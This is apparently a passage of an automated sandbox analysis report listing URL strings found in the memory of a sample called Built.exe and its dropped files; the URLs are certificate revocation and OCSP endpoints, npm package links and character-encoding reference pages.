Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148834992.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143941643.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148834992.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143941643.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: _decimal.pyd.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: dbcs-data.js.13.dr	String found in binary or memory: http://encoding.spec.whatwg.org/#big5-encoder
Source: README.md11.13.dr	String found in binary or memory: http://github.com/isaacs/npm):
Source: package.json3.13.dr	String found in binary or memory: http://github.com/jaredhanson/utils-merge/issues
Source: dbcs-data.js.13.dr	String found in binary or memory: http://icu-project.org/docs/papers/gb18030.html
Source: package.json11.13.dr, package.json30.13.dr	String found in binary or memory: http://jongleberry.com)
Source: dbcs-data.js.13.dr	String found in binary or memory: http://me.abelcheung.org/articles/research/what-is-cp951/
Source: dbcs-data.js.13.dr	String found in binary or memory: http://moztw.org/docs/big5/
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148834992.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143941643.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140892747.000001FCC274E000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: package.json3.13.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: Built.exe, 0000000C.00000003.2148834992.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: Built.exe, 0000000C.00000003.2148834992.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: dbcs-data.js.13.dr	String found in binary or memory: http://source.icu-project.org/repos/icu/data/trunk/charset/data/xml/gb-18030-2000.xml
Source: package.json11.13.dr	String found in binary or memory: http://tjholowaychuk.com)
Source: Built.exe, 0000000C.00000003.2148834992.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Built.exe, 0000000C.00000003.2148834992.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: Built.exe, 0000000C.00000003.2148834992.000001FCC274B000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: Built.exe, 0000000C.00000003.2141873247.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139835507.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2147470596.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141445546.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140479669.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2140806568.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2143196125.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2142179237.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2141030636.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2149353974.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2150578571.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2145893521.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2139414873.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2146783374.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp, _decimal.pyd.12.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: dbcs-data.js.13.dr	String found in binary or memory: http://www.haible.de/bruno/charsets/conversion-tables/Big5.html
Source: package.json3.13.dr	String found in binary or memory: http://www.jaredhanson.net/
Source: dbcs-data.js.13.dr	String found in binary or memory: http://www.khngai.com/chinese/charmap/tblgbk.php?page=0
Source: dbcs-data.js.13.dr	String found in binary or memory: http://www.ogcio.gov.hk/en/business/tech_promotion/ccli/terms/doc/2003cmp_2008.txt
Source: dbcs-data.js.13.dr	String found in binary or memory: http://www.ogcio.gov.hk/tc/business/tech_promotion/ccli/terms/doc/hkscs-2008-big5-iso.txt
Source: dbcs-data.js.13.dr	String found in binary or memory: http://www.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/OTHER/BIG5.TXT)
Source: dbcs-data.js.13.dr	String found in binary or memory: http://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP950.TXT
Source: dbcs-data.js.13.dr	String found in binary or memory: http://www8.plala.or.jp/tkubota1/unicode-symbols-map2.html
Source: tsconfig.json1.13.dr	String found in binary or memory: https://aka.ms/tsconfig.json
Source: README.md30.13.dr	String found in binary or memory: https://app.codecov.io/gh/Raynos/function-bind/
Source: README.md42.13.dr	String found in binary or memory: https://app.codecov.io/gh/inspect-js/has-proto/
Source: README.md45.13.dr	String found in binary or memory: https://app.codecov.io/gh/inspect-js/has-symbols/
Source: README.md19.13.dr	String found in binary or memory: https://app.codecov.io/gh/ljharb/es-errors/
Source: dbcs-data.js.13.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=162431
Source: dbcs-data.js.13.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=310299
Source: dbcs-data.js.13.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=912470#c31
Source: README.md30.13.dr	String found in binary or memory: https://codecov.io/gh/Raynos/function-bind/branch/main/graphs/badge.svg
